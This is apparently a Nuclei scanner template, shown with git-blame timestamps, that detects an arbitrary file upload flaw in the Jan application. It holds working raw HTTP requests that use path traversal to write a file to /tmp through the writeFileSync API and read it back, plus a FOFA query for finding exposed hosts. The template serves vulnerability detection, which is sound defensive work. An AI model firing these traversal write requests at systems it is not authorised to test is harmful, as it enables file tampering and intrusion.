2024-07-18 10:07:03 +00:00
|
|
|
id: jan-file-upload
|
2024-07-18 07:34:30 +00:00
|
|
|
|
|
|
|
info:
|
2024-07-18 10:07:03 +00:00
|
|
|
name: Jan - Arbitrary File Upload
|
2024-07-18 07:34:30 +00:00
|
|
|
author: pussycat0x
|
|
|
|
severity: high
|
|
|
|
description: |
|
|
|
|
Jan's API interface writeFileSync and appendFileSync does not filter parameters, resulting in an arbitrary file upload vulnerability.
|
|
|
|
reference:
|
|
|
|
- https://github.com/wy876/POC/blob/main/Jan%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.md
|
|
|
|
- https://github.com/HackAllSec/CVEs/blob/81e63ae5caae40be47905adae601e0c2f480190b/Jan%20Arbitrary%20File%20Upload%20vulnerability/README.md
|
|
|
|
metadata:
|
|
|
|
fofa-query: icon_hash="-165268926"
|
|
|
|
max-request: 2
|
2024-07-18 10:07:03 +00:00
|
|
|
tags: jan,intrusive,file-upload
|
|
|
|
|
2024-07-18 07:34:30 +00:00
|
|
|
variables:
|
2024-07-18 10:07:03 +00:00
|
|
|
string: "{{to_lower(rand_base(5))}}"
|
2024-07-18 07:34:30 +00:00
|
|
|
|
|
|
|
http:
|
|
|
|
- raw:
|
|
|
|
- |
|
2024-07-23 07:08:56 +00:00
|
|
|
POST /v1/app/writeFileSync HTTP/1.1
|
2024-07-18 07:34:30 +00:00
|
|
|
Host: {{Hostname}}
|
|
|
|
contentType: application/json
|
2024-07-23 07:08:56 +00:00
|
|
|
Content-Type: text/plain;charset=UTF-8
|
2024-07-18 07:34:30 +00:00
|
|
|
Origin: {{RootURL}}
|
|
|
|
|
2024-07-18 10:07:03 +00:00
|
|
|
["/../../../../../tmp/{{string}}.txt","{{randstr}}"]
|
|
|
|
|
2024-07-18 07:34:30 +00:00
|
|
|
- |
|
|
|
|
POST /v1/app/readFileSync HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
contentType: application/json
|
|
|
|
Content-Type: text/plain;charset=UTF-8
|
|
|
|
Origin: {{RootURL}}
|
|
|
|
|
2024-07-18 10:07:03 +00:00
|
|
|
["file:/../../../../../tmp/{{string}}.txt","utf-8"]
|
2024-07-18 07:34:30 +00:00
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body_2
|
|
|
|
words:
|
2024-07-23 08:25:45 +00:00
|
|
|
- '{{randstr}}'
|
2024-07-18 07:34:30 +00:00
|
|
|
|
2024-07-23 08:27:37 +00:00
|
|
|
- type: word
|
|
|
|
part: content_type_2
|
|
|
|
words:
|
|
|
|
- 'text/plain'
|
2024-07-23 08:32:38 +00:00
|
|
|
# digest: 4a0a00473045022100bab87139fb70667309d17f748b218ed04bd46430722ce1a85672fb48685efc1c0220027468b820d19a0c87d363387aecaaaf6a7448a21ca3584e58509cfbbe10f533:922c64590222798bb761d5b6d8e72950
|